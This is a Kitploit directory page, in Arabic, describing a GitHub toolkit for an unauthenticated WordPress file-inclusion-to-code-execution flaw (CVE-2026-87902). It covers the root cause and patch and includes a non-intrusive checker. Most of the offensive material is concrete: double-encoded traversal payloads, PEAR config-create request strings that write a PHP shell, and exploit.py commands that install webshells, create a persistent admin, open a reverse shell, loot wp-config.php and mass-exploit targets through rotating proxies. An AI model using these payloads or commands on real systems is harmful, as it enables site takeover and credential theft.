Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-87902-Toolkit — مجموعة أدوات WordPress CVE-2026-87902 LFI-to-RCE مع سلسلة استغلال مسلّحة (PEAR RCE، webshell، إنشاء حساب مسؤول، جمع البيانات) ونسخة SafeChecker غير تدخلية ومدقّق مخاطر. | Kitploit
أدوات/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
أدوات دفاعيةماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالالهندسة العكسيةاستغلال تطبيقات الويبما بعد الاستغلالأمن الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
12منذ 22س 1دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
tc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

مجموعة أدوات WordPress CVE-2026-87902 LFI-to-RCE مع سلسلة استغلال مسلّحة (PEAR RCE، webshell، إنشاء حساب مسؤول، جمع البيانات) ونسخة SafeChecker غير تدخلية ومدقّق مخاطر.

عرض المستودع
مشاركة

CVEPoC

CVE‑2026‑87902 – مجموعة أدوات LFI→RCE غير المصادق عليها في WordPress

Python 3.8+ CVSS Author WordPress

للاستخدام الأخلاقي فقط – اختبار أمني مصرح به
يوفر هذا المستودع أدوات لمتخصصي الأمن المصرح لهم، والفرق الزرقاء، ومختبري الاختراق فقط.
الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب CFAA (الولايات المتحدة)، وقانون إساءة استخدام الحاسوب (المملكة المتحدة)، وTCK 243/244 (تركيا)، وقوانين مماثلة في جميع أنحاء العالم.


📖 نظرة عامة على الثغرة

CVE‑2026‑87902 هي ثغرة حرجة من نوع اجتياز المسار غير المصادق عليه وتضمين الملفات المحلية (LFI) في نواة WordPress (الإصدارات 4.7.0 حتى 7.1.1) تسمح لمهاجم غير مصادق عليه بتضمين ملفات .php محلية عشوائية عبر معامل الاستعلام pagename، وفي ظروف خادم محددة التصعيد إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر تسلسل ملف PEAR pearcmd.php. درجة CVSS: 9.2 (حرجة). تم الإفصاح عنها بواسطة Robert Ressl عبر برنامج HackerOne الخاص بـ WordPress في يوليو 2026. تم تصحيحها في 7.1.2 في 22 سبتمبر 2026، مع ترقيعات رجعية وصولاً إلى 4.7.

تؤثر الثغرة على كل إصدار WordPress منذ 2016 — عقد من الإصدارات التي اجتازت مراجعة الكود دون اكتشاف. السبب الجذري هو استدعاء تحقق واحد مفقود في أحد أكثر مسارات الكود استخداماً في نظام إدارة المحتوى.

كيف تعمل

  1. حل القالب غير المعقم – يبني get_page_template() في wp-includes/template.php مرشحات القالب من متغير الاستعلام pagename. يطبق مسار كود مجاور في نفس الدالة validate_file() لحظر تسلسلات ../، لكن فرع $pagename لا يستدعيه. أي اجتياز في pagename يمر دون فحص.

  2. تجاوز الاجتياز المزدوج الترميز – يطبق WordPress sanitize_title_for_query() على pagename، والتي تستبدل النقاط الحرفية (.) بشرطات لمنع الاجتياز. لكن الدالة تعمل على مدخلات مفكوكة الترميز بالفعل ولا تفك الترميز بشكل متكرر. يرسل المهاجم %252e%252e%252f؛ يفك خادم الويب ترميزه مرة واحدة إلى %2e%2e%2f؛ لا يرى المعقم نقاطاً حرفية ويمرره؛ ثم يستدعي get_page_template() الدالة مرة أخرى داخل الدالة، منتجاً .

الإصدارات المتأثرة

  • 4.7.0 – 4.7.37 – معرضة للثغرة
  • 4.8.0 – 4.8.32 – معرضة للثغرة
  • 4.9.0 – 4.9.33 – معرضة للثغرة
  • 5.0.0 – 5.0.29 – معرضة للثغرة
  • 5.1.0 – 5.1.26 – معرضة للثغرة
  • 5.2.0 – 5.2.28 – معرضة للثغرة
  • 5.3.0 – 5.3.25 – معرضة للثغرة
  • 5.4.0 – 5.4.23 – معرضة للثغرة
  • 5.5.0 – 5.5.22 – معرضة للثغرة
  • 5.6.0 – 5.6.21 – معرضة للثغرة
  • 5.7.0 – 5.7.19 – معرضة للثغرة
  • 5.8.0 – 5.8.17 – معرضة للثغرة
  • 5.9.0 – 5.9.18 – معرضة للثغرة
  • 6.0.0 – 6.0.16 – معرضة للثغرة
  • 6.1.0 – 6.1.14 – معرضة للثغرة
  • 6.2.0 – 6.2.13 – معرضة للثغرة
  • 6.3.0 – 6.3.12 – معرضة للثغرة
  • 6.4.0 – 6.4.12 – معرضة للثغرة
  • 6.5.0 – 6.5.12 – معرضة للثغرة
  • 6.6.0 – 6.6.9 – معرضة للثغرة
  • 6.7.0 – 6.7.9 – معرضة للثغرة
  • 6.8.0 – 6.8.10 – معرضة للثغرة
  • 6.9.0 – 6.9.9 – معرضة للثغرة
  • 7.0.0 – 7.0.6 – معرضة للثغرة
  • 7.1.0 – 7.1.1 – معرضة للثغرة

الترقيع

  • قم بالترقية إلى 4.7.37، أو 4.8.32، أو 4.9.33، أو 5.0.29، أو 5.1.26، أو 5.2.28، أو 5.3.25، أو 5.4.23، أو 5.5.22، أو 5.6.21، أو 5.7.19، أو 5.8.17، أو 5.9.18، أو 6.0.16، أو 6.1.14، أو 6.2.13، أو 6.3.12، أو 6.4.12، أو 6.5.12، أو 6.6.9، أو 6.7.9، أو 6.8.10، أو 6.9.9، أو 7.0.6، أو 7.1.2 أو أحدث.
  • إذا لم يكن الترقية ممكناً، أعد تسمية أو احذف دليل page-* في القالب النشط، واضبط register_argc_argv=Off في php.ini، واحظر الاجتياز المزدوج الترميز في معامل pagename على مستوى WAF.

[<->] الأدوات

الأداةالغرضالمستخدم المستهدف
exploit.pyمجموعة أدوات مسلحة كاملة مع كشف LFI، وسلسلة PEAR RCE، وإنشاء مستخدم مسؤول، وتثبيت webshell، وreverse shell، والمسح الجماعي، ووضع التخفي، وتدوير الوكيل، وسلسلة الهجوم الكاملة.الفرق الحمراء / مختبري الاختراق المصرح لهم

[</>] مقارنة الميزات


[+] ملخص حالات الاستخدام


[+] التثبيت

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] المعاملات

معاملات exploit.py

معاملات safecheck.py


[>] السيناريوهات


🧪 نقطة النهاية وسلسلة الاستغلال

يستخدم الاستغلال نقاط نهاية WordPress والخطوات التالية:

تنسيق الحمولة

root@kitploit:~
# مثال على الاجتياز المزدوج الترميز
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# سلسلة PEAR config-create RCE
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# تشغيل تضمين PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ الاستخدام المسؤول

  • استخدم هذه الأدوات فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
  • الوصول غير المصرح به غير قانوني وغير أخلاقي.
  • المؤلفون غير مسؤولين عن أي إساءة استخدام.
  • اتبع دائماً قوانين ولوائح بلدك.

يُقدَّم هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط.

تنزيل الأداة
urldecode()
../
  • شرط دليل القالب المسبق – يجب أن يحتوي القالب النشط على دليل من المستوى الأعلى يبدأ اسمه بـ page- (مثل page-templates/). ثم يهرب اسم الملف المُنشأ page-{pagename}.php من جذر القالب عبر الاجتياز. القوالب الافتراضية الأقدم (Twenty Twelve، Twenty Fourteen) والقوالب الشائعة من طرف ثالث (Neve، Hestia، Sydney) تشحن هذا الدليل. القوالب الفرعية الموروثة من هذه القوالب الأم تحقق الشرط المسبق أيضاً.

  • مصب LFI في locate_template() – يُمرر مسار المرشح إلى locate_template()، الذي يبحث في أدلة القالب. لأن الاجتياز يُحل إلى ملف خارج تلك الأدلة، والدالة تتحقق فقط من file_exists()، يتم تضمين أي ملف .php قابل للقراءة بـ صلاحيات خادم الويب الكاملة. هذا يجعل LFI غير مشروط على أي موقع غير مرقع يستوفي شرط القالب المسبق — بما في ذلك wp-config.php مع بيانات اعتماد قاعدة البيانات وأملاح المصادقة.

  • تصعيد RCE عبر PEAR pearcmd.php – يأتي PEAR مع العديد من تثبيتات PHP. عادةً ما يكون pearcmd.php الخاص به لواجهة سطر الأوامر فقط، لكن عندما يكون register_argc_argv=On، يملأ PHP $_SERVER['argv'] من سلسلة استعلام URL. يضمّن المهاجم pearcmd.php عبر LFI، ويمرر config-create كوسيط، ويوفر كود PHP بالإضافة إلى مسار إخراج (/tmp/shell.php). يكتب PEAR كود المهاجم على القرص؛ تضمين ثانٍ ينفذه.

  • مسار استغلال ثانٍ – طلب يجمع بين name (slug الصفحة الأمامية)، وpage_id (معرف صفحة المقالات)، وpreview=true، وحمولة pagename يحوّل WP_Query إلى فرع post_name الخاص به، والذي لا يعيد كتابة pagename أبداً عبر sanitize_title_for_query(). هذا يسمح بـ نقاط حرفية في الاجتياز. يتطلب قالباً بدون single.php.

  • متطلبات تكوين الخادم – يعتمد RCE على شرطين شائعين في عمليات النشر الحقيقية: وجود/قراءة pearcmd.php (شائع في الاستضافة المشتركة، وcPanel، وصور PHP Docker الرسمية)، وregister_argc_argv=On (الافتراضي في PHP أقل من 8.5). غيّر PHP 8.5 الافتراضي إلى Off. على خادم PHP 8.5+ حديث بدون PEAR، يتوقف الاستغلال عند LFI.

  • الترقيع – يضيف WordPress 7.1.2 طبقتين من الدفاع: (أ) استدعاء validate_file() المفقود في فرع pagename، و(ب) دالة جديدة _wp_is_template_path_allowed() تستدعيها locate_template() لـ كل قالب يتم حله. ترفض الدالة المسارات التي تحتوي على ..، ثم تحل المسار الحقيقي عبر realpath() وتتحقق من أنه يقع داخل أحد أدلة القالب المسموح بها. هذا الدفاع في العمق يغلق المصب، وليس مجرد مسار واحد إليه.

  • استغلال نشط في البرية – لوحظت أولى الطلبات الخبيثة بعد 5 ساعات من إصدار الترقيع (17:44 UTC، 22 سبتمبر 2026). تضاعف حجم الحركة عشرة أضعاف خلال اليوم التالي. لوحظت ثلاث مراحل: استطلاع config-show → اكتشاف ملفات النواة → تسليح config-create. تضمنت أسماء ملفات الحمولة wp-pear-rce-flag.php، وpoc87902.php، وluci_*.php، وzeta_*.php، مكتوبة إلى /tmp و/var/tmp. عناوين IP المهاجمة: 169.58.48.193، و169.58.48.195، و2001:df1:e8c0::106b.

  • التأثير – تنفيذ التعليمات البرمجية بصلاحيات خادم الويب. استيلاء كامل على الموقع، وسرقة بيانات اعتماد wp-config.php، وتسريب البيانات، وتثبيت webshell، وإنشاء مستخدم مسؤول، وreverse shell، وهجمات سلسلة التوريد عبر إضافات/قوالب معدلة، والتحرك الجانبي إلى الخدمات المتصلة. تعكس درجة CVSS 9.2 القابلية للاستغلال عبر الشبكة، وعدم المصادقة، والتأثير العالي على السرية/السلامة/التوافر. يعكس تعقيد الهجوم العالي شروط القالب والخادم المسبقة، لكن في الاستضافة المشتركة النموذجية غالباً ما تتحقق هذه الشروط.

  • safecheck.pyفاحص ثغرات غير تدخلي يكتشف إصدار WordPress، ويتحقق من التعرض، ويقيّم المخاطر دون تضمين أي ملف أو تنفيذ أي حمولة. ينشئ تقارير JSON.الفرق الزرقاء / مدققو الأمن
    الميزةexploit.pysafecheck.py
    كشف الثغرة✅✅
    كشف الإصدار✅✅
    فحص دليل page-* في القالب✅✅
    إمكانية الوصول إلى PEAR pearcmd.php✅✅
    فحص register_argc_argv✅✅
    فحص سلوك WAF❌✅
    فحص LFI المزدوج الترميز✅❌
    PEAR config-create RCE✅❌
    إنشاء مستخدم مسؤول✅❌
    تثبيت webshell✅❌
    Reverse shell✅❌
    سلب wp-config.php✅❌
    سلسلة الهجوم الكاملة✅❌
    المسح الجماعي (متعدد الخيوط)✅✅
    دعم الوكيل✅✅
    تدوير الوكيل✅❌
    تدوير User‑Agent (OPSEC)✅❌
    Jitter (OPSEC)✅❌
    محدد المعدل✅❌
    وضع غير تدخلي (آمن)❌✅
    تقرير تقييم المخاطر✅✅
    توصيات التخفيف❌✅
    تقرير JSON✅✅
    تقرير CSV✅✅
    تقرير HTML✅✅
    مخرجات SQLite✅✅
    User‑Agent مخصص✅✅
    التحكم في التحقق من SSL✅✅
    السيناريوالأداة الموصى بها
    الفريق الأزرق – التحقق مما إذا كان WordPress الخاص بك معرضاً للثغرةsafecheck.py
    التدقيق الأمني – تقييم ثغرات غير تدخليsafecheck.py
    الفريق الأحمر – اختبار اختراق مصرح به مع استغلال كاملexploit.py
    Bug Bounty – اختبار الإفصاح المسؤولsafecheck.py
    المسح الجماعي – فحص أهداف متعددة بحثاً عن الثغرةexploit.py (كشف فقط)
    الاستجابة للحوادث – التحقق مما إذا كانت الأنظمة مخترقةsafecheck.py
    المعاملالوصف
    -u, --urlعنوان URL لهدف WordPress واحد (مثل http://wordpress.example.com)
    -f, --fileملف يحتوي على قائمة الأهداف (واحد في كل سطر) للمسح الجماعي
    --pipeقراءة الأهداف من stdin
    --exploitتنفيذ الاستغلال بعد الكشف
    --create-adminإنشاء مستخدم مسؤول دائم (التنسيق: USER:PASS)
    --webshellتثبيت webshell عبر RCE
    --reverse-shellتشغيل reverse shell (التنسيق: LHOST:LPORT)
    --lootسلب wp-config.php وملفات أخرى
    --threadsعدد الخيوط لعدة أهداف (الافتراضي: 8)
    --timeoutمهلة الطلب (الافتراضي: 15 ثانية)
    --retryالحد الأقصى لإعادة المحاولات (الافتراضي: 3)
    --proxyوكيل HTTP/HTTPS (مثل http://127.0.0.1:8080)
    --proxy-listملف يحتوي على وكلاء للتدوير (واحد في كل سطر)
    --proxy-rotateاستراتيجية تدوير الوكيل (round-robin، random، sticky)
    --jitterjitter عشوائي بين الطلبات
    --jitter-rangeالحد الأدنى، الأقصى للـ jitter بالثواني (الافتراضي: 0.1,2.0)
    --delayتأخير ثابت بين الطلبات
    --stealthتمكين وضع التخفي (تدوير UA + jitter)
    --insecureتعطيل التحقق من TLS
    --user-agentUser-Agent مخصص
    --max-bodyالحد الأقصى لحجم جسم الاستجابة
    --concurrent-per-hostالحد الأقصى للطلبات المتزامنة لكل مضيف
    --rate-limitالحد الأقصى للطلبات في الثانية
    --excludeمضيفون مفصولون بفواصل لاستبعادهم
    -o, --outputحفظ التقرير إلى ملف (.json، .csv، .html، .jsonl)
    --dbملف قاعدة بيانات SQLite
    -v, --verboseمخرجات مطولة
    -q, --quietوضع صامت
    --no-bannerكتم اللافتة
    المعاملالوصف
    -u, --urlعنوان URL لهدف WordPress واحد (مثل http://wordpress.example.com)
    -f, --fileملف يحتوي على قائمة الأهداف (واحد في كل سطر)
    --pipeقراءة الأهداف من stdin
    -t, --threadsعدد الخيوط لعدة أهداف (الافتراضي: 8)
    --timeoutمهلة الطلب (الافتراضي: 15 ثانية)
    --retryالحد الأقصى لإعادة المحاولات (الافتراضي: 3)
    --proxyوكيل HTTP/HTTPS
    --jitterjitter عشوائي بين الطلبات
    --jitter-rangeالحد الأدنى، الأقصى للـ jitter بالثواني (الافتراضي: 0.1,2.0)
    --delayتأخير ثابت بين الطلبات
    --insecureتعطيل التحقق من TLS
    --user-agentUser-Agent مخصص
    --max-bodyالحد الأقصى لحجم جسم الاستجابة
    --concurrent-per-hostالحد الأقصى للطلبات المتزامنة لكل مضيف
    --excludeمضيفون مفصولون بفواصل لاستبعادهم
    -o, --outputحفظ تقرير JSON إلى ملف (.json، .csv، .html، .jsonl)
    --dbملف قاعدة بيانات SQLite
    -v, --verboseمخرجات مطولة
    -q, --quietوضع صامت
    --no-bannerكتم اللافتة
    #السيناريوالأمر
    1فحص سريع للثغرةpython safecheck.py -u http://wordpress.example.com
    2فحص مفصل مع تقريرpython safecheck.py -u http://wordpress.example.com -o report.json -v
    3تدقيق جماعي من ملفpython safecheck.py -f targets.txt -t 10 -o audit.json
    4استغلال كشف فقطpython exploit.py -u http://wordpress.example.com
    5سلب wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
    6هجوم كامل مع webshellpython exploit.py -u http://wordpress.example.com --exploit --webshell
    7إنشاء مستخدم مسؤول دائمpython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
    8Reverse shellpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
    9سلسلة الهجوم الكاملةpython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
    10استغلال جماعي مع التخفيpython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
    11تدوير الوكيلpython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit
    الخطوةالطريقةنقطة النهايةالوصف
    1. البصمةGET/كشف WordPress عبر wp-content، wp-includes، wp-json
    2. الإصدارGET/feed/استخراج الإصدار عبر وصفة <generator>
    3. معرف الصفحةGET/wp-json/wp/v2/pagesاكتشاف page_id صالح
    4. دليل القالبGET/wp-content/themes/{theme}/page-templates/تأكيد شرط page-* المسبق
    5. فحص LFIGET/?page_id={id}&pagename={payload}اجتياز مزدوج الترميز لتضمين ملف محلي
    6. تضمين PEARGET/?page_id={id}&pagename={pearcmd}تضمين pearcmd.php
    7. PEAR RCEGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}كتابة ملف PHP عبر PEAR
    8. التنفيذGET/?page_id={id}&pagename={outfile}تضمين الملف المكتوب → RCE
    9. الاستمراريةGET(عبر RCE)إنشاء مستخدم مسؤول / webshell
    10. السلبGET/?page_id={id}&pagename={wp-config}قراءة wp-config.php عبر LFI